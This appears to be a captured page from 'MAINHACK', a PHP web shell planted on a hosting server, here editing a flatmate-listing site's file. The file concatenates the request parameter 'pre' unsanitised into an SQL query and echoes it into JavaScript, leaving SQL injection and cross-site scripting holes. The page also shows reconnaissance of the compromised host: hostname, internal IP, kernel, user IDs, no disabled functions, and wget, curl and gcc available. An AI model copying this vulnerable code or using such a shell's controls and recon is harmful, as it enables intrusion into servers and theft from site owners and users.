[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: flatmate-list.php
<?php include("header.php"); $tenant_profile=$_REQUEST['pre']; if(empty($_SESSION['user_id']) && $_SESSION['user_id']==''){ // header("location:index.php"); } ?> <!-- // Header include --> <!-- Inner-banner --> <div class="inner-banner"> <img src="images/inner-banner-2.png"> <div class="container"> <h1>Find Flatmates</h1> </div> </div> <!-- Property List --> <div class="properties-list"> <div class="container"> <ul class="team-preference"> <li><a href="flatmate-preference.php">Edit Preference</a></li> <li><a href="#">Make A Team</a></li> </ul> <div class="row"> <?php $s=array(); $pref=explode(":",$tenant_profile); /* $sq="SELECT * FROM apartment WHERE category='flatmate' and flatment_profile like "; foreach($pref as $prefer){ $sq .="'%$prefer%' or flatment_profile like "; } $s1=rtrim($sq,"and flatment_profile like "); */ // echo $s1; foreach($pref as $prefer){ $s .="','".$prefer; } $s1="SELECT * FROM apartment left join apartment_flatmate on apartment.apartment_id=apartment_flatmate.apart_id where apartment.status='ACTIVE' and apartment.category='flatmate' and apartment_flatmate.amenity IN('".$s."') group by apartment.apartment_id order by apartment.id desc"; // echo $s1; $s=$con->prepare($s1); $s->execute(); $num=$s->rowCount(); if($num>0){ while ($row = $s->fetch(PDO::FETCH_ASSOC)){ ?> <script> function book(val,val1,val2){ // alert(val); var session_val=val; if(session_val!=''){ window.location.href="single-room-mate.php?apt_id="+val1+"&pre="+val2; }else{ setTimeout(function() { swal({ title: "Oops ", text: "Please login to continue.", type: "error" }, function() { window.location = ""; }); }, 1000); } } function book1(val,val1,val2){ // alert(val); var session_val=val; var val1="<?=uniqid()?>"; if(session_val!=''){ window.location.href="chat.php?id="+val1+"&chat_id1="+val; }else{ setTimeout(function() { swal({ title: "Oops ", text: "Please login to continue.", type: "error" }, function() { window.location = ""; }); }, 1000); } } </script> <div class="col-md-6 col-sm-6 col-xs-12"> <a onclick="book('<?=$_SESSION['user_id']?>','<?=$row['apartment_id']?>','<?=$tenant_profile?>')"> <div class="properties-list-block-box"> <div class="zender-avatar"> <?php if($row['avater']!=""){?> <img src="<?=$pic_img?>/<?=$row['avater']?>"> <?php }else{ ?> <img src="<?=$pic_img?>/<?=$row['image']?>"> <?php } ?> </div> <div class="properties-list-dec"> <h4><?=$row['name']?></h4> <p><i class="fa-solid fa-location-dot"></i><?=$row['address']?>, <?=$row['city']?>, <?=$row['pincode']?></p> <ul> <li><span>Rent</span>₹ <?=$row['rent']?></li> <!-- <li><span>Looking For</span>Male</li>--> </ul> </div> <div class="properties-list-contact"> <ul> <!-- <li><a href="#"><i class="fa-solid fa-phone"></i>Call Now</a></li> --> <li><a onclick="book1('<?=$_SESSION['user_id']?>','<?=$row['apartment_id']?>','<?=$tenant_profile?>')"><i class="fa-solid fa-message"></i>Message Now</a></li> </ul> </div> </div> </a> </div> <?php } ?> <?php }else{?> <h3>No Data Found</h3> <?php } ?> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619